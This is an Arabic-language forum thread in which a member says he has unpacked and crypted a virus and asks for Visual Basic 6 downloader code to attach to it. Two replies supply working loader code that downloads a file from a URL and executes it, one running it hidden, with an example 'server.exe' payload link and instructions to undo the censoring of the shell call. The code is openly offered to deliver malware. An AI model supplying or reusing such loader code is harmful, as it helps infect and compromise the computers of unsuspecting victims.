[ Visual Basic 6 ] الى عبد الله الرويلي وباقي الخبراء ((( عاجل ومهم ))

تم تحميل الصفحة في 1,4311565 ثانية
الى عبد الله الرويلي وباقي الخبراء ((( عاجل ومهم ))
الحالة
مغلق و غير مفتوح للمزيد من الردود.
إنضم
10 نوفمبر 2006
المشاركات
1,817
الإعجابات
645
النقاط
0
الإقامة
أ‡أ،أ“أڑأœأœأ¦أڈأ­أ‰ - أ‡أ،أ‍أ•أ­أ£ - أˆأ‘أ­أڈأ¥
السلام عليكم ورحمه الله وبركاااته

يا اخوااني طفح الكيل تعبت وانا ادور سورس كود برنامج دااون لود او شرح عمل دااون لو

انا الحين فككت دوده ستاالي وفتحتها بالفجوال بس نااقصني داون لود على شان احط كود التحميل فيهاا (( في فايروس ستالي ))
الحمد لله شفرت الفايروس كلين بس باقي الداون لود تكفون لاتردوووني طالبكم

ياريت تعطوني سورس كود برنامج دااون لود يكون ستبه خارجي على شان اضيف اكواد الفايروس لــ الستب

انتضركم يا ابطاال :30::30::30::30:
 
إنضم
5 يناير 2010
المشاركات
791
الإعجابات
522
النقاط
93
رد: الى عبد الله الرويلي وباقي الخبراء ((( عاجل ومهم ))



هاذا فنكشن لوادر ان شاء الله ينفعكـ

اذا تبي شرح له انا في الخدمه :10:


كود:
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Public Function DownloadFile(URL As String, Name_ As String, Optional sh_ As Boolean)
On Error Resume Next
    Dim xDir As String
    xDir = App.Path
    If Right(xDir, 1) <> "\" Then xDir = xDir & "\"
    URLDownloadToFile 0, URL, xDir & Name_, 0, 0
    If sh_ = True Then She ll xDir & Name_, vbHide
End Function
 
إنضم
10 نوفمبر 2006
المشاركات
1,817
الإعجابات
645
النقاط
0
الإقامة
أ‡أ،أ“أڑأœأœأ¦أڈأ­أ‰ - أ‡أ،أ‍أ•أ­أ£ - أˆأ‘أ­أڈأ¥
رد: الى عبد الله الرويلي وباقي الخبراء ((( عاجل ومهم ))

اخوي والله ماافهمت وين احطه

ارسلت لك اضافه على اميلك
[email protected]
انتضرك
 
إنضم
28 أكتوبر 2009
المشاركات
2,966
الإعجابات
1,194
النقاط
113
الإقامة
Egypt
رد: الى عبد الله الرويلي وباقي الخبراء ((( عاجل ومهم ))

Private Declare Function ****************lExecute Lib "****************l32.dll" Alias "****************lExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Sub Form1_Load()
URLDownloadToFile 0, "رابط الباتش", "مسار النزول", 0, 0
****************lExecute 0, "Open", "مسار النزول", vbNullString, vbNullString, vbNormalFocus
End Sub
غير ال **************** الي s h e l
بس شيل المسافات

اظن واضح

ضيف رابط باتشك مثلن http://google.com/server.exe
وضيف مكان نزول الملف مثلن C:\server.exe
 
الحالة
مغلق و غير مفتوح للمزيد من الردود.

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 0 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل